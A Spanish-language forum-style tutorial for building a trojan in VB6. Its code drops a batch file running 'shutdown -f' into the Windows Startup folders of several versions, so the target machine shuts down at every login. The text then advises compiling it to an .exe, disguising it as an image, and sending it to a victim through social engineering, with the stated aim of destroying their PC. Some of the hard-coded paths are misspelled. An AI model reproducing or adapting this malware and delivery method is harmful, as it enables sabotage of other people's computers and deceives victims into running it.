Creando un troyano

Hola, aqui les dejo un codigo realizado con VB6 por desgracia, pero para ejecutarlo no se necesita tener frameworks como para ejecutar .net, etonces es facil de crear un ejecutable y enviar a alguien q use windows y destruir su PC.

Empezamos:

Creas un nuevo proyecto en VB, si no sabes buscas en internet...

Una vez creado, escribimos el siguiente codigo para el formulario

Public Sub crea_archivo(ByVal url As String, ByVal cont As String)
On Error GoTo fallo1
Dim obj As Object
Dim fl As Object
Dim vararray As Variant
vararray = Array(cont)
Set obj = CreateObject("Scripting.FileSystemObject")
Set fl = obj.CreateTextFile(url)
fl.writeline vararray(0)
fl.Close
fallo1:
End Sub


Private Sub Form_Load()
'para server 2003 en ingles
Call crea_archivo("C:\Documents and Setings\All User\Start Menu\Programs\Startup\text.bat", "shutdown -f")

'para windows vista
Call crea_archivo("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\text.bat", "shutdown -f")

'para windows xp
Call crea_archivo("C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\text.bat", "shutdown -f")
End Sub

Copias y pegas el codigo anterior, y generas un ejecutable es muy facil en este tipo de tecnologias viejas generar un .exe es muy simple vas a archivo(no estoy tan seguro del nombre es la primera opcion del menu) luego hay una opcion q dice generar ejecutable o algo asi le das ahi y pones el nombre del ejecutable .exe

Mismo caballo de troya vamos a esconder a nuestro ejecutable en una inocente imagen, luego para q la victima lo reciba usa Ingenieria Social.

Disfruta este juguete y pruebalo, modifica y comparte tus nuevos cambios